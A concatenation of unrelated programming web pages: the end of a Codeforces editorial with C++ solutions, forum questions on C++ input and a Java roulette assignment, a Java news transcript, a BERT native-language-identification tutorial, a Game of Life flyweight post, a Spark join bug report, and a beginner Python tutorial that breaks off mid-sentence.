For each i, we will select all [l, i]'s such that their interval of intervals values is not smaller than x. As the value of [l, r] is not smaller than [l + 1, r] or [l, r - 1], it's obvious that all l's smaller than an integer Li will be taken and Li + 1 will be not smaller than Li. Now we can iterate i from 1 to n, maintaining the sum of values of [l, i] (1 ≤ l < Li) and the value of [Li, i] by maintaining the difference between the answers for l and l + 1 (in this way we carry out a range increment in O(1) time). Similar to the sliding-window method, we try to increase Li when i changes to i + 1. Therefore, we spend O(n) time for each x we check with.
Summing everything up, the total time complexity of this problem is
.
#include<bits/stdc++.h> using namespace std; #define MN 300000 #define p make_pair #define pb push_back #define A first #define B second set< pair<int,int> > st; set< pair<int,int> >::iterator it,tt; vector< pair<int,int> > v[MN+5]; int f[MN+5]; int main() { int n,m,i,j,k,l,r,x,X,t2;long long s1,s2,S1,S2,t1; scanf("%d%d",&n,&m); st.insert(p(1,0));st.insert(p(1e9,0)); for(i=1;i<=n;++i) { scanf("%d%d",&l,&r); tt=(it=st.upper_bound(p(l,n)))--; v[i].pb(p(x=it->B,it->A-tt->A)); if(it->A<l)v[i].pb(p(x,l-it->A)); else st.erase(it); v[i].pb(p(i,r-l));st.insert(p(l,i)); while(tt->A<r)it=tt++,v[i].pb(p(x=it->B,it->A-tt->A)),st.erase(it); if(tt->A>r)v[i].pb(p(x,tt->A-r)),st.insert(p(r,x)); } for(l=1,r=1e9;l<=r;) { x=l+r>>1; memset(f,0,sizeof(f)); for(i=j=1,s1=s2=t1=t2=0;i<=n;++i) { for(k=0;k<v[i].size();++k) if(v[i][k].A<j)t1+=1LL*v[i][k].A*v[i][k].B; else t1+=1LL*(j-1)*v[i][k].B,t2+=v[i][k].B,f[v[i][k].A]+=v[i][k].B; while(j<=i&&t2>=x)t1+=t2,t2-=f[j++]; s1+=t1;s2+=j-1; } if(s2>=m)X=x,S1=s1,S2=s2,l=x+1;else r=x-1; } printf("%lld",S1-(S2-m)*X); }
Div. 1 E — Little C Loves 3 III
A common, artful, interesting solution for subset convolutions! Even though it can solve with modulo p which p is a small integer now, I can solve with modulo 109 + 7 using 1024-bit computers! :p
There seems to be many solutions with hard optimizations can pass this problem. I worried about whether I should allow these solutions before the contest and finally get the answer yes. Congratulations to people who solved this problem, L.A.C. and eds467 whose solutions are very close to the standard solution, and whzzt whose solution has an interesting optimization.
If we only need to calculate
(j|k = i), we can do these:
Let
(j|i = i).
Let Ci = Ai·Bi, it can be found that
(j|i = i).
So
(j|i = i and j ≠ i).
To calculate Ai fast (Bi is the same), let f(x, i) be the sum of aj which j|i = i and the lower x binary bits of j is equal to i's.
So f(n, i) = ai, f(x - 1, i) = f(x, i) if i&2x = 0 , f(x - 1, i) = f(x, i) + f(x, i - 2x) if i&2x = 2x, and Ai = f(0, i).
We can calculate all Ai and Bi in O(n·2n) time.
Getting ci from Ci is the inversion of getting Ai from ai. So we can use f(x, i) once again. f(x, i) = f(x - 1, i) if i&2x = 0, f(x, i) = f(x - 1, i) - f(x - 1, i - 2x) if i&2x = 2x. So we can get all ci in O(n·2n) total time.
But in this problem we need to calculate
(j|k = i and j&k = 0).
In fact, there is a well-known algorithm for this problem.
The main idea of this algorithm is consider the number of "1" binary bits.
First, let BC(x) be the number of "1" binary bits in x.
Let
(j|i = i and BC(j) = x).
Then we calculate
(y + z = x), and
(j|i = i and j ≠ i).
So
(j|k = i and BC(j) + BC(k) = x).
Finally ci we need to calculate is equal to c(BC(i), i), because if j|k = i and BC(j) + BC(k) = BC(i), j&k must be 0.
This algorithm cost O(n2·2n) time. Unfortunately, it may be too slow in this problem.
In this problem, we only need to calculate ci&3, equal to ci modulo 4.
In fact, when the answer is modulo p, an arbitrary integer, my solution works.
Let
.
Then we calculate Fi = Ai·Bi, and
(j|i = i and j ≠ i).
So
(j|k = i).
If j|k = i, BC(j) + BC(k) ≥ BC(i). If j|k = i and j&k = 0, BC(j) + BC(k) = BC(i).
We find that
, because if BC(j) + BC(k) > BC(i), aj·bk·pBC(j) + BC(k) - BC(i) can be divided by p.
So the total time is O(n·2n).
A remainder problem is it can not be modulo p when calculating in this algorithm, so the number may be very large.
Fortunately, in this problem, p is only 4. We can use 128-bit integers or merge two 64-bit integers into one number when calculating.
But in fact, we only care
modulo p, so we can let all number be modulo pn + 1. Single 64-bit integer is enough.
In fact, I did not come up with this solution directly.
When I learnt about Fast Walsh–Hadamard transform, I could not understand it well but came up with it:
Let's define a transform F(x0, x1) about a pair of integers (x0, x1) to be (ax0 + bx1, cx0 + dx1), and define (x0, x1)·(y0, y1) to be (x0y0, x1y1).
According to FWT, there is such a transform satisfies F(x0, x1)·F(y0, y1) = F(z0, z1), which z0 = x0y0 + x1y1, z1 = x0y1 + x1y0.
Then we can solve an equation to get a, b, c, d! After calculating, I get a = c = 1, b = ± 1 and d = ± 1, which is close to FWT!
Then I find that if b = d, there is no the inversion of this transform, so we can not get (z0, z1) from F(z0, z1).
If we do this transform for all the bits, it's actually FWT!
So we can use this method to solve bitwise xor convolution, and bitwise or convolution is similar, what about subset convolution?
After calculating, I get a = 0 or a = 1, c = 0 or c = 1, b = d = 0, which made me disappointed because it's difficult to find the inversion.
But at this time, I came up with a special idea — if we calculate in modulo p, p = 0 satisfied.
Let a = 1, b = 0, c = 1, d = p. We finally get a transform, which is actually my solution above!
And I'm really interested about how the others (such as L.A.C. and eds467) came up with it?
#include<cstdio> typedef long long ll; #define MN (1<<21) char A[MN+5],B[MN+5]; int s[MN+5];ll a[MN+5],b[MN+5]; int main() { int n,i,j; scanf("%d%s%s",&n,A,B); for(i=0;i<1<<n;++i)s[i]=s[i>>1]+((i&1)<<1),a[i]=(ll)(A[i]-'0')<<s[i],b[i]=(ll)(B[i]-'0')<<s[i]; for(i=0;i<n;++i)for(j=0;j<1<<n;++j)if(j&(1<<i))a[j]+=a[j^(1<<i)],b[j]+=b[j^(1<<i)]; for(i=0;i<1<<n;++i)a[i]*=b[i]; for(i=0;i<n;++i)for(j=0;j<1<<n;++j)if(j&(1<<i))a[j]-=a[j^(1<<i)]; for(i=0;i<1<<n;++i)putchar(((a[i]>>s[i])&3)+'0'); }
Hope it be useful to you!
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https://codeforces.com/blog/entry/61993
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Hi,
just doing a simple progamme for my younger brother(a funny news spread).The programme asks for his name,favourite simpsons character and the like but halve way thru the code it starts out putting 2 questions without waiting for input from the user.Cant see what im doin wrong,
Code:#include<iostream> #include<string> using namespace std; int main() { string yourName; cout<<"please enter your name "<<endl; getline(cin,yourName); cout<<"thanks "<<yourName<<",would u mind answering afew questions?"<<endl; string yourGF; cout<<"What is your girlfriends name?"<<endl; getline(cin,yourGF); int favNumber=0; cout<<"what is your favourite number?"<<endl; cin>> favNumber; string Party; cout<<"what famous peson would u like at your party?"<<endl; getline(cin,Party); string hatedPet; cout<<"what is the pet animal you hate the most?"<<endl; getline(cin,hatedPet); string simpsons; cout<<"who is your favourite Simpsons character?"<<endl; getline(cin,simpsons); string favJob; cout<<"Nearly finished just a few more questions"<<endl; cout<<"What would you most like to do for a living?"<<endl; getline(cin,favJob); cin.get(); return 0; }
I put in cin.get() at the end so hat the console window doesnt shut
Again any help much appreciated.
Labmouse
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http://cboard.cprogramming.com/cplusplus-programming/92934-code-acting-bit-strange.html
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New open source tools for managing micro containers, breathe in some Eclipse Oxygen, and JUnit 5 Milestone 5 has been released, on this episode of Java News and Code!
In this video:
- J Steven Perry, Principal Consultant, Makoto Consulting Group, Inc
New open source tools for micro containers
Containers are quickly becoming the de facto standard for deploying scalable, high performance applications in the cloud. And Docker is leading the way. But not everybody is completely satisfied with the way Docker solves the issues involved in container-based applications.
On June 29th, Oracle announced three new open source container utilities that address what they see as deficiencies in the container approach espoused by Docker.
The tools are available in GitHub, and are called Smith, used to build the containers. Crashcart, used to debug code within the containers. And Railcar, which is the container runtime.
So what are the issues?
Oracle cloud architect Vish Abrams outlines an approach to containers called “micro containers” in this post titled “The Microcontainer Manifesto and the Right Tool for the Job”
Abrams points out in the post that the microcontainer approach is not a new container system, but rather a new way to build, debug, and run containers. From what I can tell, the biggest issues seem to be the size of the Docker images – around 1GB on average. And issues related to security.
To address these issues requires new tools to build the containers (Smith), debug the code running within the microcontainer (Crashcart), and a new Runtime (Railcar).
It’s worth pointing out that while Smith uses yum and rpm repos as inputs to its build, it can also take an existing Docker container, and turn it into a micro container.
Of course, there’s no free lunch, and there are additional hoops to jump through to make that work. Like adding time to your existing build to beat through issues like pulling in configuration and data files, and setting up a unique user-namespace to make the containers more secure. Abrams claims it takes him usually no more than an hour to package an existing application into a microcontainer.
In the end, it seems like a lot of work to me.
Eclipse Oxygen is available
On June 28th, the latest release of Eclipse, code named Oxygen, was released.
Okay, so I have good news and bad news…
The good news is Oxygen contains the hard work and efforts of contributors to 83 open source projects like
- Eclipse BPEL Designer
- Eclipse Mylyn
- Eclipse Web Tools Platform Project
And many more. All of these projects are released as open source, and the Oxygen release culminates with a new release of the Eclipse IDE.
The bad news is that Eclipse Oxygen does not include Native support for Java 9. But all is not lost.
For the not-so faint-of-heart, there is a work around. It’s lengthy and has somewhat cryptic instructions, but from what I can tell from the comments, it looks like the instructions are solid.
So if you’re interested in adding native Java 9 support to Oxygen, check that out.
To download Oxygen, go to this link and click on Download.
Unit 5 Milestone 5 has been released
JUnit 5 Milestone 5 was released on July 4th.
Included in this milestone are:
Jigsaw Automatic module support
Lots of bug fixes
The usual spate of breaking changes (this is a milestone release, not a GA release, after all)
@BeforeAll and @AfterAll are no longer required to be static
(FADE IN)
In this episode’s code talkthrough, I want to walk through a couple of really cool new features available in JUnit 5:
- Parameterized Tests
- Dynamic Tests
The code I’ll be walking through is available in GitHub.
To follow along, you’ll need to have Eclipse, a Maven plugin for Eclipse and Git installed on your computer.
For today’s code talkthrough I’m using Eclipse Oxygen, M2E 1.8 and Git 2.11.0 for Mac.
Credits
Music:
Slay Well by Gunnar Olsen, YouTube Audio Library (Free to use for commercial purposes, no attribution required), see YouTube Terms of Service and this YouTube support article for details.
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https://developer.ibm.com/tv/java-news-code-episode-10/
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A Deep Learning Approach for Native. In this article, we will implement a model to identify native language of the author.
Introduction
PS: If you don't know what NLI is, I would recommend you to go to this link to understand the basics before you read the implementation.
NLI can be approached as a kind of text classification. We would be using BERT for this task.
BERT (Bidirectional Encoder Representations from Transformers) is a recent paper published by researchers at Google AI Language..
Here the task is to classify text i.e., predict author's native language based on the text given. So, classification can be done by adding a classifier or a SoftMax layer on top of BERT which gives a probability of all the classes and we take the max of it (the most likely class). This is because BERT takes text as an input and passes it through various encoders and gives us some finite length encoding of that text. That encoding represents that particular sentence.
Let us dive deeper to see how BERT works.
How BERT works
So, BERT is a model which was trained on BooksCorpus (800M words) and English Wikipedia (2.5B words) by google.
BERT used two training strategies (or how it is trained), one is Masked LM and the other is Next setence prediction.
Masked LM
Before feeding word sequences into BERT, 15% of the words in each sentence are replaced with a masked. This means that it is converted to a token which is called "masked token". Then the job of BERT is to predict that hidden or masked word in the sentence by looking at the words (non-masked words) around that masked word.The model then attempts to predict the original value of the masked words, based on the context provided by the other, non-masked, words in the sequence.
In simple terms, 15% of the words will be masked. It will be passed through BERT which will encode (it is a coded form which is different from input) it at the output. Then, that encoded form represents our sentence. Now, we can pass that encoded form to a classifier which is predict the most likely word that should be present in the masked location (or what "masked token" should to replaced with). We will continue this process again and again till BERT learns to output the correct word that we masked.
In technical terms:
- Adding a classification layer on top of the BERT output (such as a SVM).
- Multiplying the output of BERT by a matrix, and then transforming them into our vocabulary size.
- Calculating the probability of each word in the vocabulary with softmax and picking up the word that has the highest probability.
Next sentence prediction
Here, BERT is trained by Next sentence prediction strategy. In this training process, BERT receives pairs of sentences as input and learns to predict if the second sentence in the pair of the first sentence (which means that the second sentence occurs just after the first sentence in our training corpus). During training, 50% of the inputs are pairs in which the second sentence is the the pair of first sentence, while in the other 50%, it is just a random sentence from the corpus which is chosen as a second sentence. That means the other 50% doesn't forms a pair.
So, the job of BERT is to just classify the pair of sentence into two classes, whether it is a pair or not a pair. It is done by appending the binary classifier on top of BERT.
So, a question arises is that what is the need to train BERT or any model in this fashion. It is never our goal to predict the masked words!
So, the answer is that, this process teaches BERT how English or any language is written. It learns the rules related to grammar, which words should be used where and so on. So, after training BERT becomes an expert in English language. It now know all the rules that are there in English language. This knowledge could be easily transferred to other NLP tasks and BERT has proven that by giving highest accuracies on benchmark tasks and thus producing state-of-the-art results.
Architecture of BERT
BERT is basically is layers of encoder stacked on top of each other.There are two version of BERT: BERTBASE has 12 layers in the Encoder stack while BERTLARGE has 24 layers in the Encoder stack.
Now, let us walk from input to output of BERT. BERT first divided the sentence into list of tokens of a particular size. So, if a sentence is short it is padded with a predefined token or if it is large, then some of them are removed. Diagram shows that after the sentence "I like to draw", padding tokens are added to it just to make the input length of a pre-defined size. Notice that there are two other tokens CLS and SEP besides PAD tokens. CLS informs the BERT that this location is the start of the sentence and SEP shows the end of the sentence.
Then each token has a particular vector. This vector is extracted from the BERT predefined vocab which consists of around 30K words. But what if some words are not there in the vocab. Then BERT breaks down into smaller words and continue this till if finds the words in the vocab (BERT also has vector for all the characters). If some strange letter or symbol is encountered, it assigns the UNKNOWN tag to it.
Now, all these tokens are passed through first layer if BERT (encoder) in parallel. Each of the vector gets modified. These modified vectors are passed to subsequent layers where all vectors gets modified at each layer and finally comes out as a list of output vectors.
A visualization shows one layer of BERT.
w1, w2, w3, w4 and w4 are tokens (words in a sentence). These are converted into vectors which are taken from BERT vocab. Now it is passed through first layer of bert which gives 5 output vectors. Notice, that inside BERT layer, all words are connected with each other. This means that if we consider O1 output vector, it not only has a influence of W1, rather all the Ws has the influence on O1. All these influences are are calculated by weights of the layer. This helps the BERT to learn the context or helps it to learn about the words that are around it. Not only O1, but all the Os has the influence of all the Ws according to the weights. Now, if we do this 12 times, then BERTBASE of formed and if we do this 24 times BERTLARGE is formed.
If we dig a little deeper, the diagram below shows what is inside the "transformer encoder" layer shown above. It consists of Multi-head-attention module and feed forward attention module. The job of first module is to look at the words around that particular word and the job of second module is to take the output from the first module and pass that to a neural network and give us the encoded vector representation of the word. Output of the neural network is what Os are at the diagram above.
This might have gotten a little intimidating, but I'll be adding some resources which will definitely help you to get a deeper insight into it. DO check them out!
Classification task (NLI)
Now, after getting enhanced or modified vectors after passing the input vectors to successive encoder layers, our job is to perform classification i.e., which class our input text belongs to. In BERT paper (referenced below), they gave a list of guidelines to follow when one want to use BERT for classification task. They said to add a classifier at the end of BERT output which was obvious. But they also said that the classifier we add at the last layer should only take the first vector (not the array of vectors that we get at the output for every word) which looked a little strange to me at first. There was no reason given whatsoever. What I think a plausible reason might be is that the way BERT works, there is no reason to use all the output vectors. This is because at every layer, BERT combines all the information from all the words to every single word. And it is happening at every layer. So after passing list of vectors to every layer, all the vectors have all the information of whole sentence. So, why use all of them, they are basically storing the same information. So, just use the first vector of the last layer. This is what I think why they advised us to do this. This seems logical but I might be wrong!
The diagram below depicts the classification task. Notice that our classifier ("fully connected") is just taking the first vector as an input (Not the whole array of vectors).
Implementation
First I used some ML models like Support Vector Machines, Random Forest, etc for this classification task. Although, training was less time consuming but results were bad. Accuracy hovered around 30-40%. Then I explored some different Deep Learning based language models and settled on BERT.
To implement this model, we have used ktrain which is a lightweight wrapper for the deep learning library TensorFlow Keras to help build, train, and deploy neural networks and other machine learning models.
But, before that we need a dataset. Most commonly used dataset is Toefl11. The problem is that it is not available for public use and we need a license to use it. So, I found another dataset called 'italki' corpus which has 11 classes and each of them has around 1000 examples. Go to this link to download this dataset.
First task was to pre-process the data. There was many HTML tags, punctuations and numbers, unnecessary stop words and multiple spaces which needed to be taken care of. Calling the function shown below removes all these unnecessary items from the text.
df = pd.DataFrame(columns = ['text','type']) import re)
We first store all the data (from data-frame) in the array and their corresponding labels. We do that by calling the pre-process function of the text, and then add it to the list with it's corresponding class.
reviews = [] y=[] tags=['arabic','chinese','french','german','hindi','italian','japanese', 'korean','russian','spanish','turkish'] for index, row in data.iterrows(): filename='drive/My Drive/nlp/tokenized/'+row['Loc'] temp = open(filename,'r').readlines() #str1 = ''.join(temp) string='' for i in temp: string+=str(i) pre = preprocess_text(string) if(pre==' '): continue reviews.append(pre) i=0 while i<len(tags): if(tags[i]==row['Type']): y.append(i) break i+=1 y=np.array(y)
Now, we convert our stored data in the array to training and test set. Image shown below is the snippet of the code which does that. 'test_size' has been set to 0.1 which divides the data into two parts: 90% to train set and 10% to text set.
from sklearn.model_selection import train_test_split x_train, x_test, y_train, y_test = train_test_split(reviews, y, test_size = 0.1, random_state = 0)
Now, it's time to convert the input data (training and testing data) in the format used by BERT. We can simply add 'preprocess_mode='bert'' which can convert in the suitable format used by BERT.
Now, we are all set. Create a BERT model just by calling a function, assign number of batches you want to run and start training! (The image shown below is only for 4 classes). The image shows that it'll run for 4 epochs with learning rate set to 2e-5.
(x_train, y_train), (x_test, y_test), preproc = text.texts_from_array(x_train=x_train, y_train=y_train, x_test=x_test, y_test=y_test, class_names=['arabic','russian','spanish','german'], preprocess_mode='bert', maxlen=350, max_features=35000)
As we can see, our loss kept on decreasing and accuracy increased on every epoch, which shows training is going good. (The image shown below is only for 5 classes. Reason discussed below)
learner.fit_onecycle(2e-5, 4)
Now comes thee bad news. During training the model for 11 classes on google colab, it was taking 7-8 hours for each epoch! I even tried that but couldn't finish it for even 2 epoches. This is because colab generally disconnects the connection when it's GPU is being used for a long time. I tried it several times but couldn't do it.(Fun Fact : 4 GPUs can train BERT base for about 34 days!)
So, at last I trimmed the number of classes to 3. It took 10 minutes for each epoch. Then I increased the number of classes to 4 which took 13-14 minutes for each epoch which was modest as well. I then again tried to go further and increased the number of classes to 5 which was 15-16 minutes per epoch. I stopped here and all the results for every set is shown below.
- Results for 3 classes:
- Results for 4 classes:
- Results for 5 classes:
Observations
It shows that accuracy falls from 74% for 3 classes to 69% for 4 classes to 62% for 5 classes. This is because we are only training our model to 4 epoch which was taking around 1-1.5 hours. When I pushed the number of epoches, google colab breaks the connection and time out error occurs.
On every results, we can see a 2d matrix which is called a confusion matrix. It shows how many texts were correctly classified and how many of them were misclassified. The diagonal elements shows the texts correctly classified and all other elements in the matrix shows number of texts that were misclassified.
So why is the accuracy a little low?
Well, NLI is not easy. It is not sentiment analysis where we have specific words like love, liked, enjoyed,good OR hate, worse, bad, stupid which are easy to classify. But for NLI, we have to look for hidden patters in the text which are common for people of one country which helps in showing the native language of the author.
And, to do that, we need large corpus (like Toefl11) and large training times for the model which is not possible with google colab. I was able to run the model for 4 epochs on colab. So, if you have the access to Toefl11 dataset and have a discrete GPU, do try to train it and compare the accuracy with what I achieved. It should easily surpass it.
Second, if you look at the second row of confusion matrix, that is for hindi. Most number of misclassified text were of Indians. What I think is due to different languages we speak all over India. NLI is basically the affect of your native language on your english. So, in India we all very diverse native languages; ranging from Tamil, Telgu, Urdu, Hindi, etc. So, a speaker of tamil language would have different affect on his english as compared to someone who speaks Urdu. That is why it is difficult to identify hidden similarity in English on Indians as they have different native languages and that's why our model performs a little worse on Hindi.
What you can do further in this?
As I said, you can do a lot if you have GPU. You can train your models longer. You could also use a custom model and train it from scratch if you have the resources to train. But, be aware, to train such a model from scratch, you need to have large (in-fact huge) training data. But good thing is, to train language models, we don't need labeled data. We use unlabeled text data (which is widely available across the Internet!)
REFERENCES
- Paper "BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding" by Jacob Devlin, Ming-Wei Chang, Kenton Lee, Kristina Toutanova on ArXiv:
- Wikipedia BERT:
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https://iq.opengenus.org/native-language-identification-dl/
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Hi everyone, I'm working on a roulette game and am a pretty confused. I have a sheet with instructions on what to do with 2 classes and the main program which were provided in 3 files. I'm stuck on step 7 and 8.
Step 7 says to create a method called spin in the Wheel class that determines and sets the ballPosition variable. Insert a call to the spin method in the main loop after the player makes their bet.
So in the Wheel class below you can see that I created the Spin method and implemented it into the main program called Roulette. But when I run the program the output I'm getting is "You spun a: Wheel@10b61fd1". Am I doing something wrong when I use the Math class to generate the number for the wheel spin?
Step 8 says, In the spin method, use the remainder operator % to determine the color of the current ball position, and set the color variable of the Wheel class. Make it correspond to the RED, BLACK or GREEN constants already defined in the Wheel class.
So I'm totally confused on step 8. How am I supposed to use the modulus operator to do this? I know that the modulus operator divides and only returns the remainder. Am I supposed to divide one of these values and use the remainder to determine the color whether it be 0(GREEN), 1(RED) or 2(BLACK)?
Help would be very much appreciated, thanks in advance!
The main program, Roulette
import java.util.*; //************************************************************************ // Class Roulette contains the main driver for a roulette betting game. //************************************************************************ public class Roulette { //===================================================================== // Contains the main processing loop for the roulette game. //===================================================================== public static void main (String[] args) { Wheel wheel1 = new Wheel(); Player player1 = new Player (100); // $100 to start Player player2 = new Player (50); // $50 to start boolean done = false; while (!done) { player1.makeBet(wheel1); wheel1.Spin(); //System.out.println("You spun a: " + wheel1); System.out.println ("Money available: " + player1.getMoney()); done = !player1.playAgain(); System.out.println(); } } }
The class, Wheel
import java.util.*; //************************************************************************ // Class Wheel represents a roulette wheel and its operations. //************************************************************************ public class Wheel { public final int GREEN = 0; public final int RED = 1; public final int BLACK = 2; public final int NUMBER = 3; private final int POSITIONS = 38; private int ballPosition; private int color; //===================================================================== // Presents betting options and reads player choice. //===================================================================== public int betOptions (Scanner scan) { System.out.println ("1. Bet on red"); System.out.println ("2. Bet on black"); System.out.println ("3. Bet on a particular number"); System.out.print ("Your choice? "); return scan.nextInt(); } public int Spin() { ballPosition=(int)(Math.random()*38+1); return ballPosition; } }
The class, Player
public int getMoney() { return money; } // method getMoney //===================================================================== // Prompts the user and reads betting information. //===================================================================== public void makeBet(Wheel wheel) { System.out.print ("How much to bet: "); bet = scan.nextInt(); if(bet > money) { bet=money; System.out.println("All in!"); } money = money - bet; betType=wheel.betOptions(scan); if(betType == 3) { System.out.println("Enter the number you wish to bet on"); betType=scan.nextInt(); } } //===================================================================== // Determines if the player wants to play again. //===================================================================== public boolean playAgain() { String answer; System.out.print ("Play again [y/n]? "); answer = scan.next(); return (answer.equals("y") || answer.equals("Y")); } // method playAgain }
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http://www.javaprogrammingforums.com/object-oriented-programming/15166-need-some-help-my-roulette-game-please.html
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Conway’s Game of Life is fascinating, both from a functional and from a technical perspective.
This may explain why it’s often used for code retreats. Code retreats are a fun way to learn.
It’s amazing how working with new pairs gives you new insights virtually every time.
At the last code retreat that I attended, one of my pairs suggested we use the Flyweight pattern for cells:
A flyweight is a shared object that can be used in multiple contexts simultaneously. The flyweight acts as an independent object in each context — it’s indistinguishable from an instance of the objects that is not shared.
When the Design Patterns book (which contains the above quote) came out, I remember having many aha moments. It was so cool to see all these patterns that I had used before and finally have a name for them so I could discuss them with my peers more efficiently!
I did not have an aha moment when reading about flyweight, however. The example in the book, sharing character objects in a text editor, seemed a bit far fetched at the time. This example is not unlike the cells in a Game of Life grid, however, so I happily went along with my pair’s idea to explore the pattern’s applicability in this context.
After the code retreat was over, I gave this pattern some more thought. (This is usually where the code retreat really starts paying off.)
We actually use a potential flyweight all the time: booleans. A boolean is a class with only two instances, and those instances could easily be shared. In Java they are not:
new Boolean(true) != new Boolean(true). However, the
Boolean class does provide two constants,
TRUE and
FALSE, for the instances that you could use for sharing.
That got me thinking about using
Enums for flyweights. Most of the time, I use enums for grouping related but mutually exclusive constants, like days of the week. However,
Enums in Java can define methods:
public enum Cell { ALIVE(true), DEAD(false); private final boolean alive; private Cell(boolean alive) { this.alive = alive; } public boolean isAlive() { return alive; } public Cell evolve(int numLiveNeighbors) { boolean aliveInNextGeneration = alive ? 2 <= numLiveNeighbors && numLiveNeighbors <= 3 : numLiveNeighbors == 3; return aliveInNextGeneration ? ALIVE : DEAD; } }
One of the fun parts of code retreats is that in some sessions, you will have constraints on the way you work. Such constraints force you to be more creative and think beyond the techniques you would normally use.
One constraint that is interesting in this context is to not use any conditionals, like
if or
switch statements or ternary operators. The idea behind this constraint is to force you to replace conditionals with polymorphism, making your program more object oriented.
The only way that I see to keep the current
Cell enum and not use conditionals, is to introduce a map:
public enum Cell { ALIVE(true), DEAD(false); private final boolean alive; private static final Map<Boolean, Map<Integer, Cell>> NEXT = new HashMap<>(); static { Map<Integer, Cell> dead = new HashMap<>(); dead.put(0, DEAD); dead.put(1, DEAD); dead.put(2, DEAD); dead.put(3, ALIVE); dead.put(4, DEAD); dead.put(5, DEAD); dead.put(6, DEAD); dead.put(7, DEAD); dead.put(8, DEAD); dead.put(9, DEAD); NEXT.put(false, dead); Map<Integer, Cell> alive = new HashMap<>(); alive.put(0, DEAD); alive.put(1, DEAD); alive.put(2, ALIVE); alive.put(3, ALIVE); alive.put(4, DEAD); alive.put(5, DEAD); alive.put(6, DEAD); alive.put(7, DEAD); alive.put(8, DEAD); alive.put(9, DEAD); NEXT.put(true, alive); } private Cell(boolean alive) { this.alive = alive; } public boolean isAlive() { return alive; } public Cell evolve(int numLiveNeighbors) { return NEXT.get(alive).get(numLiveNeighbors); } }
This approach works, but is not very elegant and it breaks down when the number of possibilities grows. Clearly, we need a better alternative.
The only way we can get rid of the conditional, is by getting rid of the boolean state of the cell. That means we need to have different classes for the two instances, so that the type implicitly embodies the state. That in turn means we need a factory to hide those classes from the client:
public interface Cell { boolean isAlive(); Cell evolve(int numLiveNeighbors); } public class CellFactory { private static final Map<Boolean, Cell> CELLS = new HashMap<>(); static { CELLS.put(false, new DeadCell()); CELLS.put(true, new AliveCell()); } public static Cell dead() { return cell(false); } public static Cell alive() { return cell(true); } static Cell cell(boolean alive) { return CELLS.get(alive); } } class DeadCell implements Cell { @Override public boolean isAlive() { return false; } @Override public Cell evolve(int numLiveNeighbors) { return CellFactory.cell(numLiveNeighbors == 3); } } class AliveCell implements Cell { @Override public boolean isAlive() { return true; } @Override public Cell evolve(int numLiveNeighbors) { return CellFactory.cell(numLiveNeighbors == 2 || numLiveNeighbors == 3); } }
Indeed, when you look up the Flyweight pattern, you’ll see that the proposed structure contains a flyweight factory that creates instances of concrete flyweight classes that implement a common flyweight interface.
Thanks to the code retreat and my partner, I now know why.Related Whitepaper:
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http://www.javacodegeeks.com/2014/04/conways-game-of-life-and-the-flyweight-pattern.html
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Details
Description
It seems like spark inner join is performing a cartesian join in self joining using `joinWith` and an inner join using `join`
Snippet:
scala> val df = spark.range(0,5) df: org.apache.spark.sql.Dataset[Long] = [id: bigint] scala> df.show +---+ | id| +---+ | 0| | 1| | 2| | 3| | 4| +---+ scala> df.join(df, df("id") === df("id")).count 21/06/04 16:01:39 WARN Column: Constructing trivially true equals predicate, 'id#1649L = id#1649L'. Perhaps you need to use aliases. res21: Long = 5 scala> df.joinWith(df, df("id") === df("id")).count 21/06/04 16:01:47 WARN Column: Constructing trivially true equals predicate, 'id#1649L = id#1649L'. Perhaps you need to use aliases. res22: Long = 25
According to the comment in code source, joinWith is expected to manage this case, right?
def joinWith[U](other: Dataset[U], condition: Column, joinType: String): Dataset[(T, U)] = { // Creates a Join node and resolve it first, to get join condition resolved, self-join resolved, // etc.
I find it weird that join and joinWith haven't the same behaviour.
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https://issues.apache.org/jira/browse/SPARK-35652
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#This is a comment
print
print("Hello World!")
Hello World!
input
input("What is your name?")
What is your name?
inputs
name = input("What is your name?")
What is your name? JBYT27
if
f
print(f"")
print(f"Hello {name}!")
name
name = input()
Hello (whatever your name was)!
name = input()
...
print("Hello ", name, "!")
name = input("What is your name?")
#asking for name
if name == "JBYT27":
print("Hello Administrator!")
What is your name? JBYT27
Hello Administrator!
elif
else
if name == "JBYT27":
print("Hello Administrator!")
elif name == "Code":
print("Hello Code!")
if name == "JBYT27":
print("Hello admin!")
elif name == "Squid":
print("Hello Lord Squod!")
else:
print(f"Hello {name}!")
import os
...
os
replit
import replit
...
replit.clear()
pi
sqrt
math
from math import pi, sqrt
from ... import ... and ...
time
All of the import syntax is the same except for the names
tkinter
random
import random
...
a_list = ["JBYT27","pie","cat","dog"]
...
random.choice(a_list)
ranging from a few days or hoursif you like reading
ranging from 1-12 hoursif you don't like reading
ranging from 5 hours-a few daysreplit tutorial links
A nice, structured and concise tutorial. I recommend changing this part though so as to avoid confusion;
The output would be a random choice from the variable/list. So it could be pie, JBYT27, cat, or dog. From the random module, there are many things you can import, but the most common are:choicerangeetc.
The output would be a random choice from the variable/list. So it could be pie, JBYT27, cat, or dog. From the random module, there are many things you can import, but the most common are:
randrange(start, stop, step)
randrange()
range(start, stop, step)
ah, ok. Thanks for the suggestion! @StevenVoronko
A Python Tutorial, the Basics
🐍 A
very easyPython Tutorial! 🐍
#Tutorial Jam
@elipie's jam
p i n g
Here is a basic tutorial for Python, for beginners!
Table of Contents:
1. The developer of python
2. Comments/Hashtags
3. Print and input statements
4. If, Elif, Else statements
5. Common Modules
1. Developer of Python
It was created in the late 1980s by Guido van Rossum in the Netherlands. It was made as a successor to the ABC language, capable interfacing with the Ameoba operating system. It's name is python because when he was thinking about Python, he was also reading, 'Monty Python's Flying Circus'. Guido van Rossum thought that the langauge would need a short, unique name, so he chose Python.
For more about Guido van Rossum, click here
2. Comments/Hastags
Comments are side notes you can write in python. They can be used, as I said before:
How to write comments:
The output is nothing because:
So just to make sure, hastags are used to make comments. And remember, comments are ignored by the computer.
3. Print and Input statements
1. Print Statements
Print statements, printed as
print, are statements used to print sentences or words. So for example:
The output would be:
So you can see that the
printstatement is used to print words or sentences.
2. Input Statements
Input statements, printed as
input, are statements used to 'ask'. For example:
The output would be:
However, with
inputs, you can write in them. You can also 'name' the
input. Like this:
You could respond by doing this:
So pretty much, inputs are used to make a value that you can make later.
Then you could add a
ifstatement, but lets discuss that later.
3. f strings
f strings, printed as
f(before a qoutation), is used to print or input a value already used. So what I mean is, say I put an
fstring on a print statement. Like this:
The output right now, is nothing. You didn't print anything. But say you add this:
It would work, only if the
namewas named. In other words, say you had a
inputbefore and you did this to it:
Then the
